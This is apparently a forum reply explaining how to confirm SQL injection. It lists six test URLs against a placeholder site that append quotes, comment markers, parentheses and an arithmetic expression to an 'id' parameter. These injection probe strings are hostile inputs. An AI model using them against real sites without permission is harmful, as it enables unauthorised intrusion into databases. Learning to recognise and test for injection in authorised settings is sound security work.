It only indicates, that sql query has failed. It is sql injection, when you are able to INJECT something to that query.
Let's assume, that "id=55" is valid page.
Run test's below :
| Code: |
http://site.com/?page=viewcolumn&id=55
|
| Code: |
http://site.com/?page=viewcolumn&id=55--+
|
| Code: |
http://site.com/?page=viewcolumn&id=55'--+
|
| Code: |
http://site.com/?page=viewcolumn&id=55)--+
|
| Code: |
http://site.com/?page=viewcolumn&id=55')--+
|
| Code: |
http://site.com/?page=viewcolumn&id=53%2b2
|
Error messages? Normal page? This tests will give you an anwer you are searching for. |
